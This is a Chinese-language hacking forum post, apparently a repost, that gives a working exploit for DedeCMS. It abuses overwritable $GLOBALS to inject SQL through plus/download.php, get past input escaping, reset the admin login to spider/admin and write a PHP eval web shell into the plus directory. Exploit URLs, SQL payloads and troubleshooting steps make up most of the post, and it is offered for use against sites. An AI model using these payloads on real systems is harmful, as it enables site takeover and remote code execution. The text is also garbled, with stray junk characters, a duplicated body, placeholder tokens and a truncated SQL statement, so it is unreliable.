|
|
此漏洞无视gpc转义,过80sec注入防御。
, g+ Q; Q$ u4 [% i/ G; m补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
/ ]7 t6 q5 T" }3 D; C& I+ [. O起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
! e# `; O. Y% E) z% t8 F( Winclude/dedesql.class.php
. U7 {; J1 Q1 D- l9 x4 U8 @% Yif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
5 a( M- H" K* F0 H9 K同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
+ C+ M8 |2 f( ?( t而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。$ X4 h6 Z: Q0 m
plus/download.php
/ O# x3 `/ s' `$ R4 {; Velse if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):% w5 [% y$ z% |+ m
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:, u& ^( a+ [% J0 o" b( C+ O
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
$ V6 W w5 s6 s1 T$ }9 y3 S- Yhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin2 d. p- i( [) _( O9 m
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。( M4 i. q3 ~0 n- H1 B9 d; t
如果找不到后台,参见以前修改数据库直接拿SHELL的方法. s- M2 k; j0 |3 ]$ H
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。0 i% e/ H. ^0 O+ K/ U
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?% f5 R- \* }9 e0 M. ]! y
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
% C" z' ~+ `4 Q, \$ A& dinclude/dedesql.class.php
/ L8 p% P$ v% q- j/ T; dif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。+ C" l j: P. P g
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
2 q2 O9 ^4 D M& x4 B# x6 l% y而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。" V* O0 ~! z& K9 y; l4 z' n$ O( {
plus/download.php6 U0 _, [0 X' `1 k0 R+ f
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):# K9 W& y! h, b R4 Z% `
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
" f0 r- u |" {2 D; bUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:! p+ T+ y0 b/ o. f R, a
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
. q) ?! {8 a8 H漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。; P& r) c3 _. x) C% H; z1 l
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
& `- X( I1 @+ `2 @___FCKpd___6getshell:# N/ \9 c; Z0 E/ y
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
) x: ^+ H d: a0 J; S, ehttp://127.0.0.1/plus/x.php) D. P. w, N% R/ \& @% u7 N: J0 H
update成功后还要访问下 /plus/mytag_js.php?aid=1
' t) i% y( V" X1 P4 S# m失败原因:
7 W9 C+ l% J6 s( I' R2 N测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
, w) O: O! {- e# Z( h2 n: `! L: O, ]" v配图:
2 O! Z! L) w- n) [1.查看dede当前版本( S$ L( ^$ ^ m& `, K4 }, J/ s
! P \' | {5 p* k2 ?0 g
2.执行exp
* x: G5 `% ^& u* G# }1 Q
) E1 S3 ?( \& O" Rhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台' B: ?5 @ ~7 G* ~6 ~7 u, a5 m
0 f0 M. E& w+ Z+ W- Q9 bspider密码admin
$ {. ], C) s* \2 H) u/ S1 u, [* _8 r* M/ q
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
3 L0 d8 U3 K6 a/ _9 O$ Z0 U原作者:imspider
5 l5 ^ H1 \: r1 V+ A3 u7 q! q
本博客测试+配图+getshell
3 @* d7 J& V/ I3 |7 R1 GPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
: }7 h, B' K1 n! Z4 O7 K! d" Y% s7 B# R' \
getshell:
4 c7 g) v0 P$ s___FCKpd___7会在plus目录生成 x.php 密码 m% O7 v& ]% P) j+ J t
http://127.0.0.1/plus/x.php
2 f; z1 Z* ~. ]/ r; D' \update成功后还要访问下 /plus/mytag_js.php?aid=1
8 S3 C% q0 m/ I失败原因:
: c! k2 B8 w# V6 O- A测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
( J" v$ d; x# l配图:, g* ^' k: j. }: M' l1 ]8 Z
1.查看dede当前版本
/ I% b* j. C J+ W7 F; |- lhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png' C, }# @4 Q6 t1 N# q
2.执行exp
6 Q( p0 ?" V5 {8 v8 Qhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
! X; P- f5 h' y8 ?% F* _spider密码admin
/ ~* j4 B. e5 @. i& Yhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
& q9 y, Q* o, I7 H
$ N) A2 s. U1 X# R$ i% | |
|